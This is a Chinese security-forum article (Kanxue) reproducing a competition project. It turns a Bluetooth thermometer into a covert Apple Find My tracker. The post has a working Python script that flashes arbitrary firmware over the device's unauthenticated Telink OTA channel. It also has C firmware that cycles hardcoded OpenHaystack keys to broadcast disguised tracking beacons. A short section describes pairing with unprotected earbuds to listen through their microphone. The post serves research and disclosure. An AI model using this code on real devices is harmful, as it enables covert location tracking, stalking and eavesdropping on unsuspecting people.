其他
极棒项目复现:伪装成温度计的跟踪器
本文为看雪论坛精华文章
看雪论坛作者ID:mobier
1
研究背景简介
2
蓝牙温湿度计RCE漏洞
import logging
import time
from bluepy import btle
logging.basicConfig(level=logging.DEBUG, format="[%(asctime)s] [%(levelname)s] [%(filename)s#%(lineno)d] %(message)s", datefmt="%H:%M:%S")
class BLEDelegate(btle.DefaultDelegate):
def __init__(self):
btle.DefaultDelegate.__init__(self)
def handleNotification(self, cHandle, data):
logging.info("Notify: 0x%02x %s(%s)", cHandle, data.hex(),bytes.fromhex(data.hex()))
def enable_notify(handle):
ble_conn.writeCharacteristic(handle , b"\x01\x00", withResponse=True)
CRC16 = 0
CRC16_CCITT = 1
CRC_CCITT_XMODEM = 2
CRC16_CCITT_x1D0F = 3
CRC16_MODBUS = 4
def crc16(buffer, mode=CRC16_MODBUS):
if mode == CRC16_CCITT:
polynom = 0x1021
crc16ret = 0xFFFF
if mode == CRC16_CCITT_x1D0F:
polynom = 0x1021
crc16ret = 0x1D0F
if mode == CRC_CCITT_XMODEM:
polynom = 0x1021
crc16ret = 0
if mode == CRC16:
polynom = 0xA001
crc16ret = 0
if mode == CRC16_MODBUS:
polynom = 0xA001
crc16ret = 0xFFFF
if (mode != CRC16) and (mode != CRC16_MODBUS):
for l in buffer:
crc16ret ^= int(l) << 8 #ord(l) << 8
crc16ret &= 0xFFFF
for i in range(0, 8):
if (crc16ret & 0x8000):
crc16ret = (crc16ret << 1) ^ polynom
else:
crc16ret = crc16ret << 1
crc16ret &= 0xFFFF
else:
for l in buffer:
crc16ret ^= int(l) # ord(l)
crc16ret &= 0xFFFF
for i in range(8):
if (crc16ret & 0x0001):
crc16ret = (crc16ret >> 1) ^ polynom
else:
crc16ret = crc16ret >> 1
crc16ret &= 0xFFFF
lsb=hex((crc16ret&0xff00)>>8)[2:].zfill(2)
msb=hex(crc16ret&0xff)[2:].zfill(2)
return msb+lsb
TELINK_OTA_UUID_SERVICE="00010203-0405-0607-0809-0a0b0c0d1912"
TELINK_SPP_DATA_OTA="00010203-0405-0607-0809-0a0b0c0d2b12"
dev_addr = "A4:C1:38:35:A5:3A" # mmc
logging.info("Connecting...")
ble_conn = btle.Peripheral(dev_addr, btle.ADDR_TYPE_PUBLIC,iface=0)
ble_conn.setDelegate(BLEDelegate())
logging.info("Connected.")
s = ble_conn.getServiceByUUID(TELINK_OTA_UUID_SERVICE)
c=s.getCharacteristics()[0]
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("00ff"))
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex("01ff"))
print(hex(c.getHandle()))
time.sleep(0.2)
f=open('./iBeacon.bin','rb')
s=f.read(16)
addr=0
while(s):
addrs=hex(addr)[2:].zfill(4)
msb=addrs[2:]
lsb=addrs[:2]
binline=msb+lsb+s.hex().ljust(16*2, 'f');
crc=crc16(bytes.fromhex(binline)).zfill(4)
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex(binline+crc))
addr+=1
s=f.read(16)
if addr % 8 ==0 :
while True:
if ble_conn.waitForNotifications(0.2):
continue
break
pass
f.close()
ble_conn.writeCharacteristic(c.getHandle(),bytes.fromhex('02ff'))
ble_conn.waitForNotifications(1)
3
苹果 Find My 技术简介
4
Find My 蓝牙广播协议
ble mac :c5e7b2bb75cf
ble payload :1eff4c001219009bbaeb32518c899fa84cca2e268e76b3a24cd1b793be0000
5
openhaystack # 逆向FindMy协议后实现的开源项目
u8 adv_key[16][28]={
{0x05,0xe7,0xb2,0xbb,0x75,0xcf,0x9b,0xba,0xeb,0x32,0x51,0x8c,0x89,0x9f,0xa8,0x4c,0xca,0x2e,0x26,0x8e,0x76,0xb3,0xa2,0x4c,0xd1,0xb7,0x93,0xbe},
{0xff,0x12,0x74,0x71,0x73,0x7c,0x14,0x2e,0x07,0xe2,0x1f,0xfa,0x7e,0x15,0x3f,0x4d,0x52,0xaf,0xf6,0x78,0x37,0xd1,0x59,0xea,0x2c,0x5b,0xf5,0x6e},
{0x97,0x7d,0xd0,0xc4,0x94,0xab,0x6a,0x58,0xe7,0x8c,0xb2,0xe0,0x1d,0x7c,0x05,0xea,0x61,0x21,0x7e,0x8d,0x2c,0x83,0xe1,0x13,0xd9,0x53,0x63,0x01},
{0xa0,0x27,0xeb,0xde,0x2f,0x1b,0xd7,0x2d,0x27,0xbf,0x75,0x73,0xc5,0xa5,0x5c,0x1e,0xfd,0x12,0xf8,0xc9,0x03,0xd7,0xf7,0x9b,0x6a,0x87,0xcb,0x68},
{0xb7,0x3e,0xea,0xb6,0x87,0x62,0x1b,0xaa,0x5c,0xff,0x20,0xfa,0x16,0x8c,0x9f,0x63,0xfd,0xf7,0x39,0x7f,0x6e,0xe3,0xb3,0x47,0xa4,0x92,0x57,0x99},
{0x1d,0xe8,0x33,0xe1,0x3d,0x48,0x11,0xa4,0x8c,0xc7,0x87,0xd1,0x2a,0xd9,0xbd,0x5d,0x79,0xec,0xa5,0xd9,0x12,0x02,0x93,0x70,0x26,0xef,0xc5,0x23},
{0x60,0x8b,0x4e,0x0f,0x8c,0x7c,0xe1,0x57,0xf8,0xb9,0x33,0x96,0x1c,0xd9,0xfb,0x3b,0x6b,0x7d,0xfd,0xce,0xb2,0x05,0x00,0xd1,0x1f,0x2b,0xdc,0x98},
{0x4f,0x41,0xb7,0x27,0xc5,0x90,0x1f,0x79,0xaf,0x33,0xc8,0x9b,0x1a,0x53,0x37,0x69,0xcc,0x96,0xcb,0x2c,0x6e,0x03,0x5e,0x3d,0x2d,0x06,0x6b,0xd6},
{0xbe,0x6a,0x91,0x99,0x27,0x7f,0xed,0x92,0xe2,0x5e,0xa5,0xd0,0x01,0xef,0xe9,0x50,0x75,0x93,0xfe,0xcb,0x79,0x4f,0x52,0x32,0xdf,0x5b,0xf9,0x82},
{0x3a,0xda,0x8a,0x7f,0x2d,0x56,0xcb,0x5b,0xd6,0xe3,0xe0,0x5b,0x01,0x11,0x64,0x96,0x89,0x86,0xa4,0x3b,0x2b,0x05,0xdb,0x94,0xb9,0xf5,0xfe,0xbc},
{0x7b,0xba,0xcd,0x7a,0x5f,0x55,0xba,0x1e,0x00,0xf1,0xdc,0xe7,0x1c,0xb2,0x65,0x5f,0x11,0x86,0x55,0x62,0x99,0xc4,0xb9,0x9b,0x25,0xeb,0x95,0xb3},
{0xdf,0xef,0xa2,0x71,0xd2,0x2f,0xdf,0xd2,0x61,0xf3,0xc6,0x0a,0x0a,0x0f,0x92,0x30,0x4b,0x5c,0x33,0x16,0x29,0x63,0xcc,0x66,0xca,0xd0,0x06,0xb2},
{0xf0,0xa4,0xcf,0xca,0x5d,0x66,0xc6,0xaa,0x34,0xe6,0x21,0x21,0x73,0x6d,0x5a,0x29,0x19,0xc1,0x90,0x6e,0xf2,0xbf,0x77,0x01,0xe2,0x6b,0x89,0xab},
{0x6c,0x00,0xaa,0xa2,0xb3,0xb5,0x85,0x6c,0x0c,0x1e,0x37,0xb3,0x59,0xf2,0xfe,0x99,0xe5,0x33,0x1f,0xeb,0x8b,0xc4,0x7d,0x65,0x65,0x7d,0xd9,0x75},
{0x10,0x96,0x5e,0xf8,0xeb,0x1b,0xf3,0x0a,0x22,0xe6,0x22,0x5a,0x2b,0xea,0x78,0x6a,0x63,0xc5,0xe6,0x3c,0x3b,0xd2,0x36,0x2e,0xaa,0x64,0xdb,0x1e},
{0x88,0xfb,0x96,0x83,0x18,0xf6,0x6f,0x8d,0x86,0xd2,0xec,0xfd,0x26,0x68,0xeb,0xed,0x73,0xcc,0x83,0xb9,0xe2,0x6b,0x73,0x8d,0x43,0x57,0x88,0xca}
};
void apple_adv(u8 *key_data){
bls_ll_setAdvEnable(0);
u8 mac_public_d[6];
mac_public_d[5] = key_data[0] | 0b11000000;
mac_public_d[4] = key_data[1];
mac_public_d[3] = key_data[2];
mac_public_d[2] = key_data[3];
mac_public_d[1] = key_data[4];
mac_public_d[0] = key_data[5];
char at_print_buf[256];
u_sprintf((char*)at_print_buf, "mac:%02X:%02X:%02X:%02X:%02X:%02X \r\n",mac_public_d[5],mac_public_d[4],mac_public_d[3],mac_public_d[2],mac_public_d[1],mac_public_d[0]);
at_print(at_print_buf);
u8 adv_data[31] = {
0x1e, /* Length (30) */
0xff, /* Manufacturer Specific Data (type 0xff) */
0x4c, 0x00, /* Company ID (Apple) */
0x12, 0x19, /* Offline Finding type and length */
0x00, /* State */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, /* First two bits */
0x00, /* Hint (0x00) */
};
memcpy(&adv_data[7], &key_data[6], 22);
adv_data[29] = key_data[0] >> 6;
u_sprintf((char*)at_print_buf, "adv:%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X \r\n",adv_data[0],adv_data[1],adv_data[2],adv_data[3],adv_data[4],adv_data[5],adv_data[6],adv_data[7],adv_data[8],adv_data[9],adv_data[10],adv_data[11],adv_data[12],adv_data[13],adv_data[14],adv_data[15],adv_data[16],adv_data[17],adv_data[18],adv_data[19],adv_data[20],adv_data[21],adv_data[22],adv_data[23],adv_data[24],adv_data[25],adv_data[26],adv_data[27],adv_data[28],adv_data[29],adv_data[30]);
at_print(at_print_buf);
u8 mac_random_static[6];
blc_initMacAddress(CFG_ADR_MAC, mac_public_d, mac_random_static);
blc_ll_initBasicMCU(); //mandatory
blc_ll_initStandby_module(mac_public_d);
bls_ll_setAdvData( (u8 *)adv_data, sizeof(adv_data) );
u8 status = bls_ll_setAdvParam( ADV_INTERVAL_50MS , ADV_INTERVAL_50MS , \
ADV_TYPE_NONCONNECTABLE_UNDIRECTED, OWN_ADDRESS_PUBLIC, \
0, NULL, BLT_ENABLE_ADV_ALL, ADV_FP_NONE);
bls_ll_setAdvEnable(1); //adv enable
rf_set_power_level_index (MY_RF_POWER_INDEX);
}
int i=0;
_attribute_ram_code_ void main_loop (void)
{
apple_adv(adv_key[i]);
char at_print_buf[256];
sleep_us(1000000);
u32 time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
u_sprintf((char*)at_print_buf,"time:%d\r\n",time_a);
at_print(at_print_buf);
i++;
if (i>15){
i=0;
}
while (!(time_a%30==0 && time_a!=0)){
blt_sdk_main_loop();
time_a=(long)clock_time()/CLOCK_16M_SYS_TIMER_CLK_1S;
}
}
参考链接:
https://arxiv.org/pdf/2103.02282.pdf
https://support.apple.com/en-gb/guide/security/sece994d0126/web
https://github.com/Ai-Thinker-Open/Telink_825X_SDK
https://github.com/seemoo-lab/openhaystack
https://github.com/adamcatley/adamcatley.github.io/blob/a05b9dcbbf20e72ab31e416c210bd13d566e9c9c/docs/AirTag.md
6
广播信标追踪
7
蓝牙耳机实现远程监听
正常耳机在开机后默认是与已配对的手机进行链接,配对模式需要长按某个按键才会进入,而这个耳机似乎是为了用户体验考虑,开盖后默认就是配对模式,任意人都能连接配对上,关键点就是没有授权的操作比如说按一下物理按键完成配对(比赛项目那个耳机也是处于开盖状态下,相同的条件),这样攻击者就能配对然后调用麦克风实现远程监听效果了。
看雪ID:mobier
https://bbs.pediy.com/user-home-634068.htm
# 往期推荐
1.再探格式化字符串漏洞:CVE-2012-3569 ovftool.exe
2.Android APP漏洞之战——Content Provider漏洞详解
4.Android APP漏洞之战——Activity漏洞挖掘详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!